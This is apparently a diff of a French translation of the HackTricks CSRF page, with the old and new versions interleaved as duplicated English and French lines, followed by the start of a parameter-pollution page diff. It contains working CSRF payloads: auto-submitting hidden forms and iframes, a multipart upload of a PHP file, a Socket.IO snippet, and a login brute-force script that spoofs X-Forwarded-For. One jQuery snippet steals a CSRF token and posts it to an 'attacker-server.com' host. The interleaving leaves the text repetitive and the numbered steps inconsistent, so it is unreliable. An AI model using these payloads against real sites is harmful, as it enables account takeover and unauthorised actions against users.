One common technique used in Cross-Site Request Forgery (CSRF) attacks is to submit a form through an iframe. This technique allows an attacker to trick a user into unknowingly submitting a form on a vulnerable website.
Une technique couramment utilisée dans les attaques de falsification de requêtes intersites (CSRF) consiste à soumettre un formulaire via un iframe. Cette technique permet à un attaquant de tromper un utilisateur en lui faisant soumettre un formulaire sur un site web vulnérable sans qu'il le sache.
Une technique couramment utilisée dans les attaques de falsification de requêtes intersites (CSRF) consiste à soumettre un formulaire via un iframe. Cette technique permet à un attaquant de tromper un utilisateur en lui faisant soumettre un formulaire sur un site vulnérable sans qu'il le sache.
To perform this attack, the attacker creates a malicious webpage that contains an iframe pointing to the target website's form. The form is pre-filled with the desired values, and JavaScript is used to automatically submit the form when the page loads.
To perform this attack, the attacker creates a malicious webpage that contains an iframe pointing to the target website's form. The form is pre-filled with the desired values, and JavaScript is used to automatically submit the form when the iframe loads.
Pour effectuer cette attaque, l'attaquant crée une page web malveillante contenant un iframe pointant vers le formulaire du site cible. Le formulaire est pré-rempli avec les valeurs souhaitées, et JavaScript est utilisé pour soumettre automatiquement le formulaire lorsque la page se charge.
Pour effectuer cette attaque, l'attaquant crée une page web malveillante contenant un iframe pointant vers le formulaire du site cible. Le formulaire est pré-rempli avec les valeurs souhaitées, et JavaScript est utilisé pour soumettre automatiquement le formulaire lorsque l'iframe se charge.
When the victim visits the malicious webpage, the iframe loads the target website's form and submits it without the victim's knowledge. This allows the attacker to perform actions on behalf of the victim, such as changing their password or making unauthorized transactions.
@ -381,9 +372,9 @@ data: "param=value&param2=value2"
```
### Requête POST multipart/form-data
When submitting a form on a website, the data is typically sent using the `application/x-www-form-urlencoded` content type. However, in some cases, the form may require file uploads or other binary data. In such situations, the `multipart/form-data` content type is used.
When submitting a form on a website, the data is typically sent using the `application/x-www-form-urlencoded` content type. However, in some cases, the form may require file uploads or other binary data. In such scenarios, the `multipart/form-data` content type is used.
Lors de la soumission d'un formulaire sur un site web, les données sont généralement envoyées en utilisant le type de contenu `application/x-www-form-urlencoded`. Cependant, dans certains cas, le formulaire peut nécessiter des téléchargements de fichiers ou d'autres données binaires. Dans de telles situations, le type de contenu `multipart/form-data` est utilisé.
Lors de la soumission d'un formulaire sur un site web, les données sont généralement envoyées en utilisant le type de contenu `application/x-www-form-urlencoded`. Cependant, dans certains cas, le formulaire peut nécessiter des téléchargements de fichiers ou d'autres données binaires. Dans de tels scénarios, le type de contenu `multipart/form-data` est utilisé.
To craft a `multipart/form-data` POST request, the request body is divided into multiple parts, each containing a separate piece of data. Each part is identified by a unique boundary string, which is specified in the `Content-Type` header.
@ -414,13 +405,13 @@ Content-Type: image/jpeg
-----------------------------1234567890--
```
In this example, the request body is divided into two parts. The first part contains the value of the `username` form field, and the second part contains the uploaded `profile_picture` file.
In this example, the request body is divided into two parts. The first part contains the value of the `username` form field, while the second part contains the uploaded `profile_picture` file.
Dans cet exemple, le corps de la requête est divisé en deux parties. La première partie contient la valeur du champ de formulaire `username`, et la deuxième partie contient le fichier téléchargé `profile_picture`.
Dans cet exemple, le corps de la requête est divisé en deux parties. La première partie contient la valeur du champ de formulaire `username`, tandis que la deuxième partie contient le fichier téléchargé `profile_picture`.
When performing penetration testing, it is important to understand how to construct and manipulate `multipart/form-data` POST requests, as they are commonly used in web applications for file uploads and other data submissions.
When performing security testing or penetration testing, it is important to understand how to construct and manipulate `multipart/form-data` requests, as they are commonly used in web applications.
Lors de la réalisation de tests de pénétration, il est important de comprendre comment construire et manipuler des requêtes POST `multipart/form-data`, car elles sont couramment utilisées dans les applications web pour les téléchargements de fichiers et autres soumissions de données.
Lors de tests de sécurité ou de tests de pénétration, il est important de comprendre comment construire et manipuler des requêtes `multipart/form-data`, car elles sont couramment utilisées dans les applications web.
```javascript
myFormData = new FormData();
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text"});
@ -455,31 +446,45 @@ Pour exploiter le CSRF en utilisant une requête POST multipart/form-data, suive
1. Identifier le site cible : Choisissez le site web sur lequel vous souhaitez effectuer l'attaque CSRF.
2. Identify the target endpoint: Identify the specific endpoint or URL where the action you want to perform is triggered.
2. Identify the target endpoint: Find the specific endpoint or URL where the action you want to perform is triggered.
2. Identifier le point d'extrémité cible : Identifiez le point d'extrémité ou l'URL spécifique où l'action que vous souhaitez effectuer est déclenchée.
2. Identifier le point d'extrémité cible : Trouvez le point d'extrémité ou l'URL spécifique où l'action que vous souhaitez effectuer est déclenchée.
3. Craft the malicious request: Create a new HTML page or modify an existing one to include a form that submits the malicious request. Set the form's action attribute to the target endpoint identified in step 2.
3. Create a malicious HTML page: Craft an HTML page that contains a form with the necessary fields to perform the action on the target website.
3. Créez la requête malveillante : Créez une nouvelle page HTML ou modifiez une page existante pour inclure un formulaire qui soumet la requête malveillante. Définissez l'attribut action du formulaire sur le point d'extrémité cible identifié à l'étape 2.
3. Créer une page HTML malveillante : Concevez une page HTML qui contient un formulaire avec les champs nécessaires pour effectuer l'action sur le site web cible.
4. Include the necessary form fields: Add the necessary form fields to the HTML form. These fields should include any required parameters or data needed to perform the desired action.
4. Set the form's action attribute to the target endpoint: Ensure that the form's action attribute points to the target endpoint.
4. Inclure les champs de formulaire nécessaires : Ajoutez les champs de formulaire nécessaires au formulaire HTML. Ces champs doivent inclure tous les paramètres ou données nécessaires pour effectuer l'action souhaitée.
4. Définir l'attribut action du formulaire sur le point d'extrémité cible : Assurez-vous que l'attribut action du formulaire pointe vers le point d'extrémité cible.
5. Submit the form automatically: Use JavaScript to automatically submit the form as soon as the page loads. This ensures that the malicious request is sent without any user interaction.
5. Set the form's method attribute to POST: Specify that the form should be submitted using the POST method.
5. Soumettez le formulaire automatiquement : Utilisez JavaScript pour soumettre automatiquement le formulaire dès que la page se charge. Cela garantit que la requête malveillante est envoyée sans aucune interaction de l'utilisateur.
5. Définir l'attribut method du formulaire sur POST : Spécifiez que le formulaire doit être soumis en utilisant la méthode POST.
6. Test the CSRF attack: Open the HTML page containing the malicious form in a browser where the user is authenticated on the target website. If the attack is successful, the action triggered by the form submission will be performed on behalf of the authenticated user.
6. Set the form's enctype attribute to multipart/form-data: Indicate that the form data should be encoded as multipart/form-data.
6. Testez l'attaque CSRF : Ouvrez la page HTML contenant le formulaire malveillant dans un navigateur où l'utilisateur est authentifié sur le site cible. Si l'attaque réussit, l'action déclenchée par la soumission du formulaire sera effectuée au nom de l'utilisateur authentifié.
6. Définir l'attribut enctype du formulaire sur multipart/form-data : Indiquez que les données du formulaire doivent être encodées en multipart/form-data.
#### Conclusion
7. Include the necessary form fields: Add the required form fields to perform the desired action on the target website.
By exploiting CSRF using a multipart/form-data POST request, an attacker can trick a user's browser into performing unwanted actions on a trusted website. It is important for developers to implement proper CSRF protection mechanisms to prevent such attacks.
7. Inclure les champs de formulaire nécessaires : Ajoutez les champs de formulaire requis pour effectuer l'action souhaitée sur le site web cible.
En exploitant le CSRF en utilisant une requête POST multipart/form-data, un attaquant peut tromper le navigateur d'un utilisateur pour qu'il effectue des actions non désirées sur un site web de confiance. Il est important que les développeurs mettent en place des mécanismes de protection CSRF appropriés pour prévenir de telles attaques.
8. Submit the form automatically: Use JavaScript to automatically submit the form when the malicious HTML page is loaded.
8. Soumettre le formulaire automatiquement : Utilisez JavaScript pour soumettre automatiquement le formulaire lorsque la page HTML malveillante est chargée.
9. Trick the victim into visiting the malicious HTML page: Find a way to trick the victim into visiting the page containing the malicious form.
9. Tromper la victime pour qu'elle visite la page HTML malveillante : Trouvez un moyen de tromper la victime pour qu'elle visite la page contenant le formulaire malveillant.
10. Perform the CSRF attack: When the victim visits the malicious HTML page, their browser will automatically submit the form, triggering the desired action on the target website.
10. Effectuer l'attaque CSRF : Lorsque la victime visite la page HTML malveillante, son navigateur soumettra automatiquement le formulaire, déclenchant l'action souhaitée sur le site web cible.
By following these steps, you can exploit CSRF vulnerabilities using a multipart/form-data POST request.
En suivant ces étapes, vous pouvez exploiter les vulnérabilités CSRF en utilisant une requête POST multipart/form-data.
```javascript
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
@ -500,21 +505,21 @@ xhr.sendAsBinary(body);
```
### Requête POST de formulaire à partir d'un iframe
In some cases, you may encounter a web application that uses an iframe to display a form. This can be a potential security vulnerability if the form is vulnerable to Cross-Site Request Forgery (CSRF) attacks.
In some cases, you may encounter a web application that uses an iframe to display a form. This can be a potential security vulnerability if the form submission is not properly protected against Cross-Site Request Forgery (CSRF) attacks.
Dans certains cas, vous pouvez rencontrer une application web qui utilise un iframe pour afficher un formulaire. Cela peut constituer une vulnérabilité potentielle si le formulaire est vulnérable aux attaques de falsification de requête intersite (CSRF).
Dans certains cas, vous pouvez rencontrer une application web qui utilise un iframe pour afficher un formulaire. Cela peut constituer une vulnérabilité potentielle si la soumission du formulaire n'est pas correctement protégée contre les attaques de falsification de requête intersite (CSRF).
To exploit this vulnerability, you can create a malicious webpage that contains an iframe pointing to the target application's form. When a user visits your webpage, the iframe will load the form from the target application.
To exploit this vulnerability, an attacker can create a malicious website that includes an iframe pointing to the target application's form. When a user visits the attacker's website, the iframe will load the form from the target application. If the user is already authenticated on the target application, their session cookies will be sent along with the form submission.
Pour exploiter cette vulnérabilité, vous pouvez créer une page web malveillante contenant un iframe pointant vers le formulaire de l'application cible. Lorsqu'un utilisateur visite votre page web, l'iframe chargera le formulaire de l'application cible.
Pour exploiter cette vulnérabilité, un attaquant peut créer un site web malveillant qui inclut un iframe pointant vers le formulaire de l'application cible. Lorsqu'un utilisateur visite le site web de l'attaquant, l'iframe chargera le formulaire de l'application cible. Si l'utilisateur est déjà authentifié sur l'application cible, ses cookies de session seront envoyés avec la soumission du formulaire.
You can then use JavaScript to automatically submit the form with malicious data. This can be done by accessing the form element within the iframe and setting its values programmatically. Once the form is filled with the desired data, you can trigger its submission using the `submit()` method.
The attacker can craft the form submission to perform actions on behalf of the user, such as changing their password, making a purchase, or deleting their account. Since the request originates from the user's browser, it may bypass any CSRF protection mechanisms implemented on the server-side.
Vous pouvez ensuite utiliser JavaScript pour soumettre automatiquement le formulaire avec des données malveillantes. Cela peut être fait en accédant à l'élément de formulaire à l'intérieur de l'iframe et en définissant ses valeurs de manière programmatique. Une fois que le formulaire est rempli avec les données souhaitées, vous pouvez déclencher sa soumission en utilisant la méthode `submit()`.
L'attaquant peut concevoir la soumission du formulaire pour effectuer des actions au nom de l'utilisateur, telles que changer son mot de passe, effectuer un achat ou supprimer son compte. Étant donné que la requête provient du navigateur de l'utilisateur, elle peut contourner les mécanismes de protection CSRF mis en place côté serveur.
This technique allows an attacker to perform actions on behalf of the victim user, potentially leading to unauthorized operations or data leakage.
To prevent this type of attack, it is important to implement proper CSRF protection mechanisms, such as using anti-CSRF tokens or checking the origin of the request. Additionally, it is recommended to avoid loading forms within iframes, especially when sensitive actions are involved.
Cette technique permet à un attaquant d'effectuer des actions au nom de l'utilisateur victime, ce qui peut entraîner des opérations non autorisées ou une fuite de données.
Pour prévenir ce type d'attaque, il est important de mettre en place des mécanismes de protection CSRF appropriés, tels que l'utilisation de jetons anti-CSRF ou la vérification de l'origine de la requête. De plus, il est recommandé d'éviter de charger des formulaires dans des iframes, surtout lorsqu'il s'agit d'actions sensibles.
```markup
<--! expl.html -->
@ -601,56 +606,39 @@ Pour voler le jeton CSRF, l'attaquant peut utiliser différentes techniques, tel
#### **2. Envoi d'une requête POST avec un iframe**
L'attaquant peut utiliser un iframe pour envoyer une requête POST avec le jeton CSRF volé. L'iframe peut être caché ou rendu invisible pour que l'utilisateur ne le remarque pas. L'URL de l'iframe doit être configurée pour envoyer la requête POST à la cible souhaitée, en incluant le jeton CSRF dans les données de la requête.
L'attaquant peut utiliser un iframe pour envoyer une requête POST avec le jeton CSRF volé. L'iframe peut être caché ou rendu invisible pour que l'utilisateur ne le remarque pas. Lorsque la page contenant l'iframe est chargée, la requête POST est automatiquement envoyée, sans que l'utilisateur ait à cliquer sur un bouton ou à soumettre un formulaire.
```html
<iframe style="display:none" src="https://www.example.com/action" onload="submitForm()"></iframe>
<script>
function submitForm() {
var form = document.createElement("form");
form.method = "POST";
form.action = "https://www.example.com/action";
var csrfToken = document.createElement("input");
csrfToken.type = "hidden";
csrfToken.name = "csrf_token";
csrfToken.value = "valeur_du_jeton_csrf";
form.appendChild(csrfToken);
document.body.appendChild(form);
form.submit();
}
</script>
<iframe src="https://www.example.com/endpoint" style="display:none;"></iframe>
```
#### **3. Envoi d'une requête POST avec un formulaire**
Une autre méthode consiste à utiliser un formulaire pour envoyer une requête POST avec le jeton CSRF volé. L'attaquant peut créer un formulaire caché et le soumettre automatiquement à l'aide de JavaScript.
Une autre méthode consiste à utiliser un formulaire pour envoyer une requête POST avec le jeton CSRF volé. L'attaquant peut créer un formulaire caché et le soumettre automatiquement en utilisant JavaScript. Lorsque la page contenant le formulaire est chargée, la requête POST est envoyée sans que l'utilisateur ait à interagir avec le formulaire.
```html
<form id="csrfForm" style="display:none" method="POST" action="https://www.example.com/action">
<input type="hidden" name="csrf_token" value="valeur_du_jeton_csrf">
<form id="csrf-form" action="https://www.example.com/endpoint" method="POST" style="display:none;">
<input type="hidden" name="csrf_token" value="valeur_du_jeton_csrf_volé">
</form>
<script>
document.getElementById("csrfForm").submit();
document.getElementById("csrf-form").submit();
</script>
```
#### **4. Envoi d'une requête POST avec Ajax**
L'attaquant peut également utiliser Ajax pour envoyer une requête POST avec le jeton CSRF volé. L'URL de la requête Ajax doit être configurée pour envoyer la requête POST à la cible souhaitée, en incluant le jeton CSRF dans les données de la requête.
L'attaquant peut également utiliser Ajax pour envoyer une requête POST avec le jeton CSRF volé. L'attaque peut être réalisée en utilisant JavaScript pour effectuer une requête POST asynchrone vers l'URL cible, en incluant le jeton CSRF dans les en-têtes ou les données de la requête.
```javascript
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://www.example.com/action", true);
xhr.open("POST", "https://www.example.com/endpoint", true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send("csrf_token=valeur_du_jeton_csrf");
xhr.setRequestHeader("X-CSRF-Token", "valeur_du_jeton_csrf_volé");
xhr.send("param1=value1&param2=value2");
```
Il est important de noter que ces méthodes ne fonctionneront que si l'attaquant a réussi à voler le jeton CSRF de l'utilisateur légitime. Par conséquent, il est essentiel de mettre en place des mesures de sécurité appropriées pour protéger les jetons CSRF et prévenir les attaques CSRF.
Il est important de noter que ces méthodes d'attaque nécessitent que l'attaquant ait réussi à voler le jeton CSRF de l'utilisateur légitime au préalable. Les développeurs doivent mettre en place des mesures de protection appropriées, telles que l'utilisation de jetons CSRF avec une durée de validité limitée, pour prévenir les attaques CSRF.
```markup
<form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">
<input type="text" name="username" value="AA">
@ -674,7 +662,7 @@ document.getElementById("form1").submit();
To perform a Cross-Site Request Forgery (CSRF) attack, an attacker needs to steal the victim's CSRF token and use it to send unauthorized requests on behalf of the victim. One way to achieve this is by using an iframe and a form.
Pour effectuer une attaque de falsification de requête entre sites (CSRF), un attaquant doit voler le jeton CSRF de la victime et l'utiliser pour envoyer des requêtes non autorisées au nom de la victime. Une façon d'y parvenir est d'utiliser un iframe et un formulaire.
Pour effectuer une attaque de type Cross-Site Request Forgery (CSRF), un attaquant doit voler le jeton CSRF de la victime et l'utiliser pour envoyer des requêtes non autorisées en son nom. Une façon d'y parvenir est d'utiliser un iframe et un formulaire.
1. The attacker creates a malicious webpage that contains an iframe pointing to the target website.
@ -684,32 +672,34 @@ Pour effectuer une attaque de falsification de requête entre sites (CSRF), un a
<iframe src="https://www.target-website.com"></iframe>
```
2. The attacker also includes a hidden form within the iframe, pre-filled with the victim's CSRF token and the desired malicious action.
2. The attacker also includes a hidden form in the malicious webpage. This form is automatically submitted when the page loads.
L'attaquant inclut également un formulaire caché dans l'iframe, pré-rempli avec le jeton CSRF de la victime et l'action malveillante souhaitée.
L'attaquant inclut également un formulaire caché dans la page web malveillante. Ce formulaire est soumis automatiquement lorsque la page se charge.
```html
<form action="https://www.target-website.com/action" method="POST">
<input type="hidden" name="csrf_token" value="victim-csrf-token">
<input type="hidden" name="action" value="malicious-action">
<form id="csrf-form" action="https://www.target-website.com/change-password" method="POST">
<input type="hidden" name="new-password" value="attacker-password">
</form>
```
3. When the victim visits the attacker's webpage, the iframe loads the target website, and the hidden form is automatically submitted.
3. The attacker uses JavaScript to extract the CSRF token from the target website's HTML source code and sets it as the value of a hidden input field in the malicious form.
Lorsque la victime visite la page web de l'attaquant, l'iframe charge le site cible et le formulaire caché est automatiquement soumis.
L'attaquant utilise JavaScript pour extraire le jeton CSRF du code source HTML du site cible et le définit comme valeur d'un champ de saisie caché dans le formulaire malveillant.
4. Since the form is submitted within the context of the target website, the victim's browser includes the victim's CSRF token in the request, making it appear legitimate.
```html
<script>
var csrfToken = document.querySelector('meta[name="csrf-token"]').getAttribute('content');
document.getElementById('csrf-form').insertAdjacentHTML('beforeend', '<input type="hidden" name="csrf-token" value="' + csrfToken + '">');
</script>
```
Étant donné que le formulaire est soumis dans le contexte du site cible, le navigateur de la victime inclut le jeton CSRF de la victime dans la requête, ce qui la rend légitime en apparence.
4. When the victim visits the malicious webpage, the iframe loads the target website, and the hidden form is automatically submitted. Since the form contains the victim's stolen CSRF token, the target website processes the request as if it came from the victim.
5. The target website processes the request, unaware that it was initiated by the attacker, and performs the malicious action on behalf of the victim.
Lorsque la victime visite la page web malveillante, l'iframe charge le site cible et le formulaire caché est soumis automatiquement. Étant donné que le formulaire contient le jeton CSRF volé de la victime, le site cible traite la requête comme si elle provenait de la victime.
Le site cible traite la requête, sans se rendre compte qu'elle a été initiée par l'attaquant, et effectue l'action malveillante au nom de la victime.
By using this technique, an attacker can trick the victim into unknowingly performing actions on the target website without their consent. It is important for web developers to implement proper CSRF protection mechanisms, such as using anti-CSRF tokens and validating the origin of requests, to prevent such attacks.
By using an iframe and a hidden form, an attacker can trick the victim's browser into performing unauthorized actions on a target website, exploiting the victim's trust in the website's legitimacy.
En utilisant un iframe et un formulaire caché, un attaquant peut tromper le navigateur de la victime pour qu'il effectue des actions non autorisées sur un site cible, exploitant ainsi la confiance de la victime dans la légitimité du site web.
En utilisant cette technique, un attaquant peut tromper la victime pour qu'elle effectue des actions sur le site cible sans son consentement. Il est important que les développeurs web mettent en place des mécanismes de protection CSRF appropriés, tels que l'utilisation de jetons anti-CSRF et la validation de l'origine des requêtes, pour prévenir de telles attaques.
```markup
<iframe id="iframe" src="http://google.com?param=VALUE" width="500" height="500" onload="read()"></iframe>
@ -729,20 +719,26 @@ document.forms[0].submit.click();
```
### **Vol de jeton et envoi via 2 iframes**
To perform a Cross-Site Request Forgery (CSRF) attack, one common technique is to steal the victim's authentication token and send it using two iframes. This attack can be executed by injecting malicious code into a vulnerable website.
To perform a Cross-Site Request Forgery (CSRF) attack, one common technique is to steal the victim's authentication token and send it using two iframes. This attack takes advantage of the fact that many websites use tokens to authenticate user requests.
Here's how the attack works:
1. The attacker creates a malicious website that contains two hidden iframes.
2. The first iframe is loaded with the target website's login page.
3. The second iframe is loaded with a page on the attacker's website that contains JavaScript code to steal the authentication token.
4. When the victim visits the malicious website, the first iframe automatically submits the login form using JavaScript, tricking the victim into logging in.
5. As the victim logs in, the second iframe captures the authentication token from the response.
6. The stolen token is then sent to the attacker's server using an HTTP request.
1. The attacker creates a malicious webpage that contains two hidden iframes.
2. The first iframe is used to load the target website's login page.
3. The second iframe is used to submit a form with the victim's token to a different URL controlled by the attacker.
4. When the victim visits the malicious webpage, the first iframe loads the login page of the target website. The victim may not notice anything suspicious at this point.
5. The login page contains a hidden form that automatically submits the victim's token to the attacker-controlled URL. This is done using JavaScript code injected into the login page.
6. The second iframe, which is hidden from the victim, captures the victim's token and sends it to the attacker's server.
7. The attacker can then use the stolen token to perform actions on behalf of the victim, such as making unauthorized requests or modifying the victim's account settings.
By stealing the victim's authentication token, the attacker can impersonate the victim and perform actions on their behalf without their knowledge or consent. This can lead to unauthorized access, data manipulation, or other malicious activities.
To protect against this type of attack, website developers should implement measures such as:
To protect against CSRF attacks, web developers should implement measures such as using anti-CSRF tokens, validating the origin of requests, and implementing strict access controls. Additionally, users should be cautious when visiting unfamiliar websites and regularly update their passwords to minimize the risk of token theft.
- Implementing CSRF tokens that are unique for each user session.
- Ensuring that sensitive actions, such as changing account settings or making financial transactions, require re-authentication.
- Implementing strict content security policies to prevent the loading of external resources.
- Regularly auditing and testing the website for security vulnerabilities.
By understanding how CSRF attacks work, both developers and security professionals can take steps to mitigate the risk and protect users from falling victim to such attacks.
```markup
<script>
var token;
@ -772,20 +768,71 @@ height="600" width="800"></iframe>
<button type="submit">Submit</button>
</form>
```
### **POSTSteal CSRF token with Ajax and send a post with a form**
### **POSTVoler le jeton CSRF avec Ajax et envoyer une requête POST avec un formulaire**
To perform a Cross-Site Request Forgery (CSRF) attack, an attacker needs to steal the CSRF token from the target website and then use it to send malicious requests on behalf of the victim. One way to achieve this is by using Ajax to steal the token and then sending a POST request using a form.
To perform a Cross-Site Request Forgery (CSRF) attack, an attacker needs to steal the CSRF token from the target website and then use it to send malicious requests on behalf of the victim.
Here's how the attack can be carried out:
Pour effectuer une attaque de falsification de requête entre sites (CSRF), un attaquant doit voler le jeton CSRF du site cible, puis l'utiliser pour envoyer des requêtes malveillantes au nom de la victime.
1. The attacker creates a malicious webpage that contains JavaScript code to perform the CSRF attack.
2. The attacker embeds an invisible iframe on the malicious webpage, pointing to the target website's login page.
3. The attacker's JavaScript code in the malicious webpage uses Ajax to make a GET request to the target website's login page, retrieving the CSRF token from the response.
4. Once the CSRF token is obtained, the attacker's JavaScript code can populate a hidden form with the necessary data for the malicious request.
5. The attacker's JavaScript code then submits the form using a POST request, including the stolen CSRF token in the request headers or body.
6. The target website, considering the request as legitimate due to the presence of the valid CSRF token, processes the malicious request on behalf of the victim.
One way to steal the CSRF token is by using Ajax to make a request to the target website and extract the token from the response.
By using this technique, an attacker can trick the victim into unknowingly performing actions on the target website without their consent or knowledge. It is important for web developers to implement proper CSRF protection mechanisms, such as using unique and unpredictable CSRF tokens, to mitigate this type of attack.
Une façon de voler le jeton CSRF consiste à utiliser Ajax pour effectuer une requête vers le site cible et extraire le jeton de la réponse.
```javascript
$.ajax({
url: 'https://target-website.com',
type: 'GET',
success: function(response) {
var csrfToken = $(response).find('input[name="csrf_token"]').val();
// Send the stolen CSRF token to the attacker's server
$.post('https://attacker-server.com', { token: csrfToken });
}
});
```
```javascript
$.ajax({
url: 'https://site-cible.com',
type: 'GET',
success: function(response) {
var csrfToken = $(response).find('input[name="csrf_token"]').val();
// Envoyer le jeton CSRF volé au serveur de l'attaquant
$.post('https://serveur-de-lattaquant.com', { token: csrfToken });
}
});
```
Once the attacker has obtained the CSRF token, they can use it to craft a malicious form and submit it to the target website.
Une fois que l'attaquant a obtenu le jeton CSRF, il peut l'utiliser pour créer un formulaire malveillant et le soumettre au site cible.
```javascript
var maliciousForm = $('<form action="https://target-website.com" method="POST">' +
'<input type="hidden" name="csrf_token" value="' + csrfToken + '">' +
'<input type="hidden" name="action" value="delete_account">' +
'</form>');
$('body').append(maliciousForm);
maliciousForm.submit();
```
```javascript
var formulaireMalveillant = $('<form action="https://site-cible.com" method="POST">' +
'<input type="hidden" name="csrf_token" value="' + csrfToken + '">' +
'<input type="hidden" name="action" value="supprimer_compte">' +
'</form>');
$('body').append(formulaireMalveillant);
formulaireMalveillant.submit();
```
In this example, the attacker creates a form with the stolen CSRF token and sets the action to the target website's URL. The form includes hidden fields for the CSRF token and the desired action, such as deleting the victim's account.
Dans cet exemple, l'attaquant crée un formulaire avec le jeton CSRF volé et définit l'action sur l'URL du site cible. Le formulaire comprend des champs masqués pour le jeton CSRF et l'action souhaitée, telle que la suppression du compte de la victime.
By appending the form to the body and submitting it, the attacker tricks the victim's browser into sending a POST request to the target website with the malicious action and the stolen CSRF token.
En ajoutant le formulaire au corps de la page et en le soumettant, l'attaquant trompe le navigateur de la victime pour qu'il envoie une requête POST au site cible avec l'action malveillante et le jeton CSRF volé.
```markup
<body onload="getData()">
@ -816,15 +863,15 @@ document.getElementById("form").submit();
Socket.IO est une bibliothèque JavaScript qui permet la communication en temps réel entre le serveur et le client. Elle est souvent utilisée dans les applications web pour créer des fonctionnalités en temps réel telles que les chats en direct ou les mises à jour en direct.
Cependant, l'utilisation de Socket.IO peut également présenter des vulnérabilités de type CSRF (Cross-Site Request Forgery). Le CSRF est une attaque qui permet à un attaquant de forcer un utilisateur authentifié à effectuer des actions non intentionnelles sur un site web.
Cependant, Socket.IO peut également être vulnérable aux attaques de falsification de requête intersite (CSRF). Une attaque CSRF se produit lorsque le navigateur d'un utilisateur authentifié envoie une requête non autorisée à un site web sans que l'utilisateur en soit conscient.
Pour exploiter une vulnérabilité CSRF avec Socket.IO, l'attaquant doit d'abord créer un site web malveillant qui contient du code JavaScript pour se connecter à un serveur Socket.IO. Ensuite, l'attaquant peut envoyer des requêtes WebSocket depuis le site malveillant vers le serveur Socket.IO, en utilisant les cookies d'authentification de l'utilisateur ciblé.
Pour exploiter une vulnérabilité CSRF avec Socket.IO, un attaquant peut utiliser une page web malveillante pour envoyer une requête WebSocket à un serveur Socket.IO. Cette requête peut contenir des instructions malveillantes qui seront exécutées par le serveur.
Lorsque le serveur Socket.IO reçoit ces requêtes, il les traite comme s'il s'agissait de requêtes légitimes de l'utilisateur authentifié. Cela peut permettre à l'attaquant d'effectuer des actions non autorisées au nom de l'utilisateur, telles que la modification des paramètres du compte, l'envoi de messages en son nom, ou même la suppression de données.
Pour se protéger contre les attaques CSRF avec Socket.IO, il est recommandé d'utiliser des jetons anti-CSRF. Ces jetons sont générés par le serveur et inclus dans les requêtes WebSocket. Le serveur vérifie ensuite si le jeton est valide avant de traiter la requête.
Pour se protéger contre les attaques CSRF avec Socket.IO, il est recommandé d'utiliser des mécanismes de protection tels que les jetons anti-CSRF (CSRF tokens). Les jetons anti-CSRF sont des valeurs uniques générées par le serveur et incluses dans les requêtes. Lorsque le serveur reçoit une requête, il vérifie si le jeton anti-CSRF correspond à celui attendu. Si ce n'est pas le cas, la requête est considérée comme suspecte et rejetée.
En utilisant des jetons anti-CSRF, les développeurs peuvent s'assurer que seules les requêtes légitimes provenant de leur propre site web sont autorisées à interagir avec le serveur Socket.IO. Cela réduit considérablement le risque d'attaques CSRF.
En utilisant des jetons anti-CSRF, les développeurs peuvent s'assurer que seules les requêtes légitimes, provenant du site web autorisé, sont acceptées par le serveur Socket.IO. Cela réduit considérablement le risque d'attaques CSRF et protège les utilisateurs contre les actions non intentionnelles sur le site web.
Il est important de noter que la mise en place de jetons anti-CSRF ne garantit pas une protection complète contre les attaques CSRF. Il est également recommandé de suivre les meilleures pratiques de sécurité web, telles que la validation des entrées utilisateur et la mise en œuvre de mécanismes de sécurité supplémentaires pour renforcer la sécurité de l'application.
```markup
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
@ -845,9 +892,9 @@ room: username
});
</script>
```
## CSRF Brute Force de Connexion
## Brute Force de connexion CSRF
Le code peut être utilisé pour effectuer une attaque de force brute sur un formulaire de connexion en utilisant un jeton CSRF (Il utilise également l'en-tête X-Forwarded-For pour tenter de contourner un éventuel blocage d'adresse IP) :
Le code peut être utilisé pour effectuer une attaque de force brute sur un formulaire de connexion en utilisant un jeton CSRF (il utilise également l'en-tête X-Forwarded-For pour tenter de contourner un éventuel blocage d'adresse IP) :
```python
import request
import re

View file

@ -1,27 +1,24 @@
# Pollution de paramètres
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les [PLANS D'ABONNEMENT](https://github.com/sponsors/carlospolop) !
- Découvrez [La famille PEASS](https://opensea.io/collection/the-peass-family), notre collection d'[NFTs](https://opensea.io/collection/the-peass-family) exclusifs.
- Obtenez le [swag officiel PEASS & HackTricks](https://peass.creator-spring.com)
- Rejoignez le [💬](https://emojipedia.org/speech-balloon/) groupe Discord ou le groupe Telegram ou suivez-moi sur Twitter [🐦](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md) [@carlospolopm](https://twitter.com/hacktricks_live).
- Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud).
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
